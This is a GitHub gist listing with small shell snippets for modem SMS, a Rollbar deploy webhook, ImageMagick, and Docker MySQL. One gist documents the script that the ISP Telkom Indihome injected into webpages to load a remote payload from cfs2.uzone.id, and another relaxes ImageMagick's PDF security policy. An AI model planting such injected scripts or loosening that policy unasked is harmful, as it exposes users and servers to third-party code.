Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View donnykurnia's full-sized avatar

Donny Kurnia donnykurnia

View GitHub Profile
@donnykurnia
donnykurnia / read-text-message.sh
Created October 6, 2023 06:28 — forked from FinnWoelm/read-text-message.sh
How to read text messages from USB modem
# Full instructions: http://manpages.ubuntu.com/manpages/bionic/en/man8/mmcli.8.html
# Examples: http://manpages.ubuntu.com/manpages/bionic/en/man8/mmcli.8.html#examples
# Supported modems: https://www.freedesktop.org/wiki/Software/ModemManager/SupportedDevices/
# Get list of connected modems.
mmcli --list-modems
# Output:
# Found 1 modems:
# /org/freedesktop/ModemManager1/Modem/1 [huawei] E3531
# The number at the end of the path is the modem index.
@donnykurnia
donnykurnia / Shell
Created January 10, 2020 14:18 — forked from evgenyneu/Shell
Calling rollbar deployment webhook
ACCESS_TOKEN=secret
ENVIRONMENT=production
LOCAL_USERNAME=`whoami`
REVISION=`git log -n 1 --pretty=format:"%H"`
curl https://api.rollbar.com/api/1/deploy/ \
-F access_token=$ACCESS_TOKEN \
-F environment=$ENVIRONMENT \
-F revision=$REVISION \
-F local_username=$LOCAL_USERNAME
@donnykurnia
donnykurnia / sed command
Last active August 27, 2020 09:26
patch /etc/ImageMagick/policy.xml to allow read and write PDF file
sudo sed -e 's/<policy domain="coder" rights="none" pattern="PDF" \/>/<policy domain="coder" rights="read|write" pattern="PDF" \/>\n\ \ <policy domain="coder" rights="read|write" pattern="LABEL" \/>/' -i /etc/ImageMagick/policy.xml
https://guide.freecodecamp.org/agile/continuous-integration/
https://www.gocd.org/2018/01/31/continuous-delivery-metrics/
https://circleci.com/docs/2.0/
https://circleci.com/docs/2.0/language-php/
https://circleci.com/docs/2.0/deployment-integrations/#heroku
https://devcenter.heroku.com/articles/getting-started-with-laravel
https://github.com/donnykurnia/kfi-ci-simple-laravel
@donnykurnia
donnykurnia / error in server.log
Last active January 4, 2018 14:55
error in server
4f6dd52f43d4f703a14ee0c8b4349b5a
@donnykurnia
donnykurnia / npm run build error on node 4.0.0.log
Last active January 4, 2018 14:54
npm run build error on node 4.0.0
7c082d12c5a22351d3c83530e493ceee
@donnykurnia
donnykurnia / npm run build.log
Last active January 4, 2018 14:53
npm run build error
625032ae295247aa27267e082f2adc8b
0f60e3e597df4f7046335005893a439d
@donnykurnia
donnykurnia / gist:2356dad4119ce85d18d18708914c60e3
Last active June 29, 2022 04:35
Injection code from Telkom Indihome. This code will replace </body> at the end of webpage with the code below. The content may varied, but the main payload is loaded from cfs2.uzone.id
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs2.uzone.id/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582ECSaLdwqSpnCgur28FUm401VrTNseDf2JlEA6ZiOk%2ffQK22KycK5kPdVDjpnejkM9P73Pe7Y6EuuaOitYkmzmKNO8RUzaFdaIXn6R7NkvKk9cKCHQzyvNXXPs%2bsueqLp2EKbC6X0Nu38%2fmvVexzHBsuqHkiQG%2bNd%2bm8E%2f1Gq6XVEDRBd4yBsks3piKPJIEbKaNRdQVxqlbqy5Bs6h0iSFn8zyf11ihllrf6ZNmrJse7MMGOa5Bg8V4gb29r7%2bHjvRblYlXTzoDaVMg79rr8%2fNSZ6ssVfsxi0UIiVvCjFalmdmUa4D3V21bRqM4cgubmchEbbS%2bil%2bkh%2bMxt3Lc4cILEYiziKexsYIRCUr4wR%2fPBUNQ0j4IIx1jEuAgOLeRdwvvw4aFM0V1i21bvKCvX8DaMIllnngEEJ09Ev%2fVl90I1UyrYKv6AaTOlPRBinecqub0KT%2flfLk3J5BMJsGhRjFCfISXqn01lRdvFPPMPwF0W10PRF8Of4%2feqOmNt6%2f1%2bIe66Xn2XLzyo%2fXuwHgr8%2fESw2BJ%2fexkP1
@donnykurnia
donnykurnia / Running example:
Created January 3, 2016 13:59
Access mysql in other container
$ docker-compose run app
Creating mysql
root@cd9cf6553130:/# mysql -h "$DB_PORT_3306_TCP_ADDR" -P "$DB_PORT_3306_TCP_PORT" -u "$DB_ENV_MYSQL_USER" --password="$DB_ENV_MYSQL_PASSWORD" $DB_ENV_MYSQL_DATABASE
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 2
Server version: 5.7.10 MySQL Community Server (GPL)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.